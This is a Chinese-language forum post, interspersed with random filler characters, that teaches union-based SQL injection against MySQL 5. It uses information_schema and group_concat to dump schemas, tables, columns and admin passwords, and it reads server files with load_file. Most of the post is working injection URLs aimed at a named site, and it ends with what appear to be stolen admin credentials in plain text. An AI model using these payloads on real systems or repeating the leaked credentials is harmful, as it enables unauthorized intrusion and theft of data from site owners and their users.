此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似
# O% X9 o/ {& o9 ^但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人
h5 f6 c$ \; Y; x) R/ [' [* W0 Z' Z X; S8 c+ o0 r I7 V
, F. T6 {" p% S! ^- e优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入2 f4 j4 f& K: U4 ~
: G! @ n: y9 B% r+ p0 }( h
缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...
. q' g3 Z4 H8 v6 S! c, J2 D4 o
. |! ^9 q8 j' H2 k' V( F7 u; Z+ Q8 K下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
9 ]# t+ Z0 b& l. P3 q在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ , + 等等
1 o( w6 b3 i+ Q m& w2 b9 }9 z9 {& p/ l% {, h) v
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17
; @" B3 d' B! S* |/ A' [
1 R+ b6 V" b9 v* y' W0 z0 F4 C/ Y读出所有库:* d$ L. n% n9 s$ b
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA
1 @( p* O, {/ o
3 P- P+ y4 J: C" b+ F \9 b6 U/ o; n9 k* I1 t7 c8 J
& s3 y3 Y) I+ h3 v- D
读出所有表:8 { C- S9 K$ y% f4 j U
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()% S' L) B/ _# E( I* z
- f6 A" w1 @1 y' U$ {读出所有表字段:
( ` k. _: t& P- }( B: Chttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)5 _+ R |% p3 f% `9 {4 h- G
*/ (97,100,109,105,110)为admin的ascii码 依次类推2 J* F9 O- i+ T0 q9 @% `$ z/ V
" Q4 F: R; G6 X* H6 r
读出所有表字段里的内容:9 T5 b+ ~- k! D0 \4 w
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin
& L6 k4 Y" z7 y) x o) m( B* @5 y& V' l; B
- {* S7 A; R6 p7 T- F2 l# ]
1 o B$ k- h: f8 Z2 \2 p
. F" \0 Q4 |- h$ h3 T8 y9 b j9 R6 ~! ^) B( ~6 w
2 @4 s4 N# P5 ^2 Uhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23
( l, F6 `6 p2 P/ X" k z
* u! z0 [, c; a; R' h9 a9 u' B9 O( O. A
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%236 y6 s: V4 z: {8 s1 V" u. M
# J1 Q$ L5 Y2 U* j) o/ A
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23
$ O! b" x( n" o- u; C$ a2 ]" v6 a- w& v( n( r: G |
( v9 l0 m: f0 d+ e x: b3 K( Rhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23
9 p+ A7 a7 x9 Z8 z: {9 o
; a/ c! G) U$ x) T% \( V
* {& d9 E2 M$ v1 _* t: Q! R webmaster:dzb521123,simlab:simadmin20043233# [$ P; }" S- B) K" ]5 B5 ?
|